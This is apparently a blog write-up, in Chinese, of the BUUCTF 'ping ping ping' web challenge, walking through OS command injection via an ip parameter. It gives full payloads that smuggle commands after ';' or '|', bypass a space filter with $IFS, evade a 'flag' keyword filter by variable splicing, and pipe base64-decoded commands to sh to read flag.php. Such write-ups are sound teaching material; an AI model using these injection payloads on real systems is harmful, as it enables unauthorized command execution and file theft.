buuctf web刷题(1)

ping ping ping

打开题目发现页面只有一个?ip=,我们可以得知这是让我们使用GET方式传入ip地址,我们先传一个本地ip地址进去发现没有什么用

此处我们可以想到一起执行其他命令,利用命令分隔符,共有三种:";"  "|"  "&" 

通过尝试发现只有|和;可以,而|又是直接执行后面语句的管道符,我们就直接使用|,发现有两个文件,一个是flag.php另一个是index.php,我们先看一看index.php中的源码

页面回显f**k your space,我们猜测可能过滤了空格,我们使用$IFS$(随机数字)替换空格

可以看到过滤了命令连接符&,\,空格,*,bash,<>,flag,? ,因此我们需要一些方式进行绕过

1.内联执行

我们可以看到并未过滤掉 `,因此我们使用内联执行

内联执行是将反引号内命令的返回值(即输出值)作为整条命令的输入值

例如当命令为:cat `ls`

实际等于:cat flag.php ; cat index.php,再加上空格绕过,payload:?ip=127.0.0.1|cat$IFS$1`ls`

查看源码就能拿到flag

2.拼接法

因为源码中通过正则表达式匹配ip的值中是否顺序出现了f、l、a、g四个字母,这样我们可以通过不同方式的拼接构造payload可以拼接f;lag fl;ag fla;g 但是这里需要注意:flag的字母顺序要不同

y=g;x=fla;$x$y

y=ag;x=fl;$x$y

y=lag;x=f;$x$y 

这三种只需要保证顺序不同,就可以进行拼接绕过,因为我们这里使用的拼接中有;,而|直接执行的是后面的语句,因此我们这里使用|进行拼接回显不出任何东西,我们可以使用 ; 

payload:?ip=127.0.0.1;y=ag;x=fl;cat$IFS$9$x$y.php

再次查看源代码可以得到flag

3.sh编码绕过法(base64编码)

echo (命令编码)|base64 -d|sh

sh可以换成bash,但是题目过滤掉了,base64也可以换成其他的编码形式,空格用$IFS$1替换掉 cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

payload:/?ip=127.0.0.1|echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh,相当于执行命令cat flag.php,查看源码

此次分享结束 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值